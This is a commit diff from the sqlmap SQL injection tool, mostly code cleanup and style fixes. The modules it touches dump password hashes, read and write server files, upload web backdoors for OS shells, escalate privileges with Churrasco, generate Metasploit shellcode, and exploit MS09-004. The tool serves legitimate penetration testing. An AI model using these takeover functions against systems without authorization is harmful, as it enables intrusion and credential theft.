sqlmap 0.8-rc3: Merge from Miroslav Stampar's branch fixing a bug when verbosity > 2, another major bug with urlencoding/urldecoding of POST data and Cookies, adding --drop-set-cookie option, implementing support to automatically decode gzip and deflate HTTP responses, support for Google dork page result (--gpage) and a minor code cleanup.

This commit is contained in:
Bernardo Damele
2010-01-02 02:02:12 +00:00
parent d55175a340
commit ce022a3b6e
62 changed files with 567 additions and 1026 deletions

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.agent import agent
@@ -49,7 +47,6 @@ from lib.request import inject
from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
class Enumeration:
"""
This class defines generic enumeration functionalities for plugins.
@@ -71,11 +68,9 @@ class Enumeration:
temp.inference = queries[dbms].inference
def forceDbmsEnum(self):
pass
def getVersionFromBanner(self):
if "dbmsVersion" in kb.bannerFp:
return
@@ -100,7 +95,6 @@ class Enumeration:
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
def getBanner(self):
if not conf.getBanner:
return
@@ -131,7 +125,6 @@ class Enumeration:
return kb.data.banner
def getCurrentUser(self):
infoMsg = "fetching current user"
logger.info(infoMsg)
@@ -143,7 +136,6 @@ class Enumeration:
return kb.data.currentUser
def getCurrentDb(self):
infoMsg = "fetching current database"
logger.info(infoMsg)
@@ -155,7 +147,6 @@ class Enumeration:
return kb.data.currentDb
def isDba(self):
infoMsg = "testing if current user is DBA"
logger.info(infoMsg)
@@ -166,7 +157,6 @@ class Enumeration:
return kb.data.isDba == "1"
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
@@ -218,7 +208,6 @@ class Enumeration:
return kb.data.cachedUsers
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
@@ -340,7 +329,6 @@ class Enumeration:
return kb.data.cachedUsersPasswords
def __isAdminFromPrivileges(self, privileges):
# In PostgreSQL the usesuper privilege means that the
# user is DBA
@@ -360,7 +348,6 @@ class Enumeration:
return dbaCondition
def getPrivileges(self):
infoMsg = "fetching database users privileges"
@@ -627,7 +614,6 @@ class Enumeration:
return ( kb.data.cachedUsersPrivileges, areAdmins )
def getDbs(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
warnMsg = "information_schema not available, "
@@ -682,7 +668,6 @@ class Enumeration:
return kb.data.cachedDbs
def getTables(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
@@ -777,7 +762,6 @@ class Enumeration:
return kb.data.cachedTables
def getColumns(self, onlyColNames=False):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
@@ -897,7 +881,6 @@ class Enumeration:
return kb.data.cachedColumns
def dumpTable(self):
if not conf.tbl:
errMsg = "missing table parameter"
@@ -1067,7 +1050,6 @@ class Enumeration:
return kb.data.dumpedTable
def dumpAll(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
@@ -1093,7 +1075,6 @@ class Enumeration:
if data:
dumper.dbTableValues(data)
def sqlQuery(self, query):
output = None
sqlType = None
@@ -1119,10 +1100,10 @@ class Enumeration:
else:
query = urlencode(query, convall=True)
if kb.stackedTest == None:
if kb.stackedTest is None:
stackedTest()
if kb.stackedTest == False:
if not kb.stackedTest:
return None
else:
if sqlType:
@@ -1140,7 +1121,6 @@ class Enumeration:
return output
def sqlShell(self):
infoMsg = "calling %s shell. To quit type " % kb.dbms
infoMsg += "'x' or 'q' and press ENTER"
@@ -1174,7 +1154,7 @@ class Enumeration:
if output and output != "Quit":
dumper.string(query, output)
elif output == False:
elif not output:
pass
elif output != "Quit":

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import binascii
import os
@@ -46,13 +44,11 @@ class Filesystem:
self.fileTblName = "sqlmapfile"
self.tblField = "data"
def __unbase64String(self, base64Str):
unbase64Str = "%s\n" % base64Str.decode("base64")
return unbase64Str
def __unhexString(self, hexStr):
if len(hexStr) % 2 != 0:
errMsg = "for some reasons sqlmap retrieved an odd-length "
@@ -64,7 +60,6 @@ class Filesystem:
return binascii.unhexlify(hexStr)
def __binDataToScr(self, binaryData, chunkName):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
@@ -101,7 +96,6 @@ class Filesystem:
return fileLines
def __checkWrittenFile(self, wFile, dFile, fileType):
if kb.dbms == "MySQL":
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
@@ -110,10 +104,10 @@ class Filesystem:
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
elif kb.dbms == "Microsoft SQL Server":
self.createSupportTbl(self.fileTblName, self.tblField, "text")
self.createSupportTbl(self.fileTblName, self.tblField, "text")
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
@@ -141,7 +135,6 @@ class Filesystem:
warnMsg += "privileges in the destination path"
logger.warn(warnMsg)
def fileToSqlQueries(self, fcEncodedList):
"""
Called by MySQL and PostgreSQL plugins to write a file on the
@@ -162,7 +155,6 @@ class Filesystem:
return sqlQueries
def fileEncode(self, fileName, encoding, single):
"""
Called by MySQL and PostgreSQL plugins to write a file on the
@@ -170,10 +162,10 @@ class Filesystem:
"""
fcEncodedList = []
fp = open(fileName, "rb")
fp = open(fileName, "rb")
fcEncodedStr = fp.read().encode(encoding).replace("\n", "")
if single == False:
if not single:
fcLength = len(fcEncodedStr)
if fcLength > 1024:
@@ -200,7 +192,6 @@ class Filesystem:
return fcEncodedList
def updateBinChunk(self, binaryData, tmpPath):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
@@ -250,17 +241,15 @@ class Filesystem:
return chunkName
def askCheckWrittenFile(self, wFile, dFile, fileType):
message = "do you want confirmation that the file '%s' " % dFile
message += "has been successfully written on the back-end DBMS "
message = "do you want confirmation that the file '%s' " % dFile
message += "has been successfully written on the back-end DBMS "
message += "file system? [Y/n] "
output = readInput(message, default="Y")
if not output or output in ("y", "Y"):
self.__checkWrittenFile(wFile, dFile, fileType)
def readFile(self, rFile):
fileContent = None
@@ -268,7 +257,7 @@ class Filesystem:
self.checkDbmsOs()
if kb.stackedTest == False:
if not kb.stackedTest:
debugMsg = "going to read the file with UNION query SQL "
debugMsg += "injection technique"
logger.debug(debugMsg)
@@ -308,13 +297,12 @@ class Filesystem:
return rFilePath
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
stackedTest()
self.checkDbmsOs()
if kb.stackedTest == False:
if not kb.stackedTest:
debugMsg = "going to upload the %s file with " % fileType
debugMsg += "UNION query SQL injection technique"
logger.debug(debugMsg)

View File

@@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.exception import sqlmapUndefinedMethod
class Fingerprint:
"""
This class defines generic fingerprint functionalities for plugins.
@@ -38,20 +35,17 @@ class Fingerprint:
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
@staticmethod
def escape(expression):
errMsg = "'escape' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def getFingerprint(self):
errMsg = "'getFingerprint' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def checkDbms(self):
errMsg = "'checkDbms' method must be defined "
errMsg += "into the specific DBMS plugin"

View File

@@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import os
import re
from lib.core.common import readInput
from lib.core.data import conf
@@ -72,12 +70,11 @@ class Miscellaneous:
setRemoteTempPath()
def delRemoteFile(self, tempFile, doubleslash=False):
self.checkDbmsOs()
if kb.os == "Windows":
if doubleslash is True:
if doubleslash:
tempFile = tempFile.replace("/", "\\\\")
else:
tempFile = tempFile.replace("/", "\\")
@@ -88,11 +85,9 @@ class Miscellaneous:
self.execCmd(cmd, forgeCmd=True)
def createSupportTbl(self, tblName, tblField, tblType):
inject.goStacked("DROP TABLE %s" % tblName)
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
def createSupportTbl(self, tblName, tblField, tblType):
inject.goStacked("DROP TABLE %s" % tblName)
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
def cleanup(self, onlyFileTbl=False, udfDict=None):
"""
@@ -101,7 +96,7 @@ class Miscellaneous:
stackedTest()
if kb.stackedTest == False:
if not kb.stackedTest:
return
if kb.os == "Windows":
@@ -113,16 +108,16 @@ class Miscellaneous:
else:
libtype = "shared library"
if onlyFileTbl == True:
if onlyFileTbl:
logger.debug("cleaning up the database management system")
else:
logger.info("cleaning up the database management system")
logger.debug("removing support tables")
inject.goStacked("DROP TABLE %s" % self.fileTblName)
logger.debug("removing support tables")
inject.goStacked("DROP TABLE %s" % self.fileTblName)
if onlyFileTbl == False:
inject.goStacked("DROP TABLE %s" % self.cmdTblName)
if not onlyFileTbl:
inject.goStacked("DROP TABLE %s" % self.cmdTblName)
if kb.dbms == "Microsoft SQL Server":
return
@@ -131,7 +126,7 @@ class Miscellaneous:
udfDict = self.sysUdfs
for udf, inpRet in udfDict.items():
message = "do you want to remove UDF '%s'? [Y/n] " % udf
message = "do you want to remove UDF '%s'? [Y/n] " % udf
output = readInput(message, default="Y")
if not output or output in ("y", "Y"):
@@ -141,8 +136,8 @@ class Miscellaneous:
inp = ", ".join(i for i in inpRet["input"])
dropStr += "(%s)" % inp
logger.debug("removing UDF '%s'" % udf)
inject.goStacked(dropStr)
logger.debug("removing UDF '%s'" % udf)
inject.goStacked(dropStr)
logger.info("database management system cleanup finished")
@@ -153,5 +148,5 @@ class Miscellaneous:
warnMsg += "folder "
warnMsg += "saved on the file system can only be deleted "
warnMsg += "manually"
warnMsg += "manually"
logger.warn(warnMsg)

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
@@ -59,7 +57,6 @@ class Takeover(Abstraction, Metasploit, Registry):
Abstraction.__init__(self)
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
output = None
@@ -77,7 +74,6 @@ class Takeover(Abstraction, Metasploit, Registry):
return output
def __webBackdoorShell(self, backdoorUrl):
infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER"
@@ -106,8 +102,7 @@ class Takeover(Abstraction, Metasploit, Registry):
if command.lower() in ( "x", "q", "exit", "quit" ):
break
self.__webBackdoorRunCmd(backdoorUrl, command)
self.__webBackdoorRunCmd(backdoorUrl, command)
def __webBackdoorInit(self):
"""
@@ -138,23 +133,16 @@ class Takeover(Abstraction, Metasploit, Registry):
if not choice or choice == "2":
language = "php"
break
elif choice == "1":
language = "asp"
break
elif choice == "3":
# TODO: add also JSP backdoor/uploader support
errMsg = "JSP web backdoor functionality is not yet "
errMsg += "implemented"
raise sqlmapUnsupportedDBMSException, errMsg
#language = "jsp"
#break
raise sqlmapUnsupportedDBMSException(errMsg)
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
@@ -226,7 +214,6 @@ class Takeover(Abstraction, Metasploit, Registry):
continue
elif language == "jsp":
# TODO: add also JSP backdoor/uploader support
pass
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
@@ -240,7 +227,6 @@ class Takeover(Abstraction, Metasploit, Registry):
return backdoorUrl
def uploadChurrasco(self):
msg = "do you want sqlmap to upload Churrasco and call the "
msg += "Metasploit payload stager as its argument so that it "
@@ -249,7 +235,6 @@ class Takeover(Abstraction, Metasploit, Registry):
output = readInput(msg, default="Y")
if not output or output[0] in ( "y", "Y" ):
# TODO: add also compiled/packed Churrasco for Windows 2008
wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe")
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
@@ -261,11 +246,10 @@ class Takeover(Abstraction, Metasploit, Registry):
else:
return False
def osCmd(self):
stackedTest()
if kb.stackedTest == False:
if not kb.stackedTest:
infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution"
logger.info(infoMsg)
@@ -278,11 +262,10 @@ class Takeover(Abstraction, Metasploit, Registry):
self.initEnv()
self.runCmd(conf.osCmd)
def osShell(self):
stackedTest()
if kb.stackedTest == False:
if not kb.stackedTest:
infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution"
logger.info(infoMsg)
@@ -295,11 +278,10 @@ class Takeover(Abstraction, Metasploit, Registry):
self.initEnv()
self.absOsShell()
def osPwn(self):
stackedTest()
if kb.stackedTest == False:
if not kb.stackedTest:
return
self.initEnv()
@@ -330,7 +312,7 @@ class Takeover(Abstraction, Metasploit, Registry):
if choice == 1:
goUdf = True
if goUdf is True:
if goUdf:
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
else:
self.createMsfPayloadStager()
@@ -359,7 +341,7 @@ class Takeover(Abstraction, Metasploit, Registry):
uploaded = self.uploadChurrasco()
if uploaded == False:
if not uploaded:
warnMsg = "beware that the privilege escalation "
warnMsg += "might not work"
logger.warn(warnMsg)
@@ -371,7 +353,6 @@ class Takeover(Abstraction, Metasploit, Registry):
self.pwn(goUdf)
def osSmb(self):
stackedTest()
@@ -381,14 +362,14 @@ class Takeover(Abstraction, Metasploit, Registry):
errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows: it is not possible to perform the SMB "
errMsg += "relay attack"
raise sqlmapUnsupportedDBMSException, errMsg
raise sqlmapUnsupportedDBMSException(errMsg)
if kb.stackedTest == False:
if not kb.stackedTest:
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
errMsg = "on this back-end DBMS it is only possible to "
errMsg += "perform the SMB relay attack if stacked "
errMsg += "queries are supported"
raise sqlmapUnsupportedDBMSException, errMsg
raise sqlmapUnsupportedDBMSException(errMsg)
elif kb.dbms == "MySQL":
debugMsg = "since stacked queries are not supported, "
@@ -419,16 +400,15 @@ class Takeover(Abstraction, Metasploit, Registry):
else:
printWarn = False
if printWarn == True:
if printWarn:
logger.warn(warnMsg)
self.smb()
def osBof(self):
stackedTest()
if kb.stackedTest == False:
if not kb.stackedTest:
return
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
@@ -436,7 +416,7 @@ class Takeover(Abstraction, Metasploit, Registry):
errMsg += "2000 or 2005 to be able to exploit the heap-based "
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
errMsg += "stored procedure (MS09-004)"
raise sqlmapUnsupportedDBMSException, errMsg
raise sqlmapUnsupportedDBMSException(errMsg)
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
@@ -448,11 +428,10 @@ class Takeover(Abstraction, Metasploit, Registry):
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
self.bof()
def __regInit(self):
stackedTest()
if kb.stackedTest == False:
if not kb.stackedTest:
return
self.checkDbmsOs()
@@ -460,12 +439,11 @@ class Takeover(Abstraction, Metasploit, Registry):
if kb.os != "Windows":
errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows"
raise sqlmapUnsupportedDBMSException, errMsg
raise sqlmapUnsupportedDBMSException(errMsg)
self.initEnv()
self.getRemoteTempPath()
def regRead(self):
self.__regInit()
@@ -488,7 +466,6 @@ class Takeover(Abstraction, Metasploit, Registry):
return self.readRegKey(regKey, regVal, False)
def regAdd(self):
self.__regInit()
@@ -499,7 +476,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regKey = readInput(msg)
if not regKey:
raise sqlmapMissingMandatoryOptionException, errMsg
raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regKey = conf.regKey
@@ -508,7 +485,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regVal = readInput(msg)
if not regVal:
raise sqlmapMissingMandatoryOptionException, errMsg
raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regVal = conf.regVal
@@ -517,7 +494,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regData = readInput(msg)
if not regData:
raise sqlmapMissingMandatoryOptionException, errMsg
raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regData = conf.regData
@@ -537,7 +514,6 @@ class Takeover(Abstraction, Metasploit, Registry):
self.addRegKey(regKey, regVal, regType, regData)
def regDel(self):
self.__regInit()
@@ -548,7 +524,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regKey = readInput(msg)
if not regKey:
raise sqlmapMissingMandatoryOptionException, errMsg
raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regKey = conf.regKey
@@ -557,7 +533,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regVal = readInput(msg)
if not regVal:
raise sqlmapMissingMandatoryOptionException, errMsg
raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regVal = conf.regVal